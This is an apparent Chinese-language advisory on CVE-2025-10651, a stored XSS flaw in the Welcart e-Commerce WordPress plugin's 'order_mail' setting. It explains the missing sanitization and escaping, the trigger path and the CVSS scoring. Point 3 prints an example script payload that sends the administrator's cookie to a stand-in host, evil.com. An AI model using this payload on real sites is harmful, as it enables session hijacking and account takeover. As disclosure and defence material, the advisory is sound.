CVE-2025-10651CVE-2025-10651是WordPress的Welcart e-Commerce电子商务插件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由Wordfence安全团队的安全研究员发现,并于2025年10月22日公开披露。Welcart e-Commerce是日本广泛使用的WordPress电子商务插件,提供在线商店、商品管理、订单处理和邮件通知等功能。
该漏洞存在于插件的'order_mail'(订单邮件)设置字段中。攻击者通过在常规设置页面(General Setting page)中注入恶意JavaScript代码,这些代码会被持久化存储在数据库中。当管理员访问电子邮件设置页面(E-mail Setting page)时,恶意脚本将在管理员的浏览器上下文中执行,从而实现权限提升、会话劫持、管理员账户接管或植入后门等攻击行为。
该漏洞的CVSS 3.1评分为5.5分,属于中危级别。虽然利用该漏洞需要攻击者拥有Editor级别及以上权限(PR:H),但一旦利用成功,攻击者可以在管理员上下文中执行任意脚本,危害程度较高。漏洞的根本原因是对'order_mail'字段的输入过滤(sanitization)和输出转义(escaping)处理不足,这是WordPress插件开发中常见的安全缺陷。
该存储型XSS漏洞的技术原理如下:
1. **输入过滤不足**:Welcart e-Commerce插件在处理'order_mail'设置字段时,未对用户输入进行充分的内容清理(sanitization)。WordPress中常用的清理函数如sanitize_text_field()、wp_kses()等未被正确使用,导致恶意HTML/JavaScript代码可以原样存入数据库。
2. **输出转义缺失**:在电子邮件设置页面(E-mail Setting page)渲染该字段值时,插件未使用esc_html()、esc_attr()等转义函数对输出内容进行HTML实体编码,使得浏览器将存储的恶意脚本解析为可执行代码。
3. **权限模型利用**:WordPress的Editor角色具有管理文章、页面以及部分插件设置的权限。攻击者利用Editor权限即可访问General Setting页面并修改'order_mail'字段,注入如下形式的载荷:`<script>document.location='https://evil.com/steal?c='+document.cookie</script>`。
4. **触发机制**:当管理员登录后台并访问E-mail Setting页面时,页面会从数据库读取'order_mail'字段的值并直接渲染到HTML中,浏览器解析并执行注入的脚本。由于该操作在管理员权限上下文中执行,攻击者可以窃取管理员cookie、添加新的管理员账户、修改站点设置或上传Web Shell。
5. **CVSS向量分析**:AV:N(网络攻击)、AC:L(低复杂度)、PR:H(需要高权限)、UI:N(无需用户交互)、S:C(范围变更)、C:L(机密性低影响)、I:L(完整性低影响)、A:N(可用性无影响),综合评分为5.5分。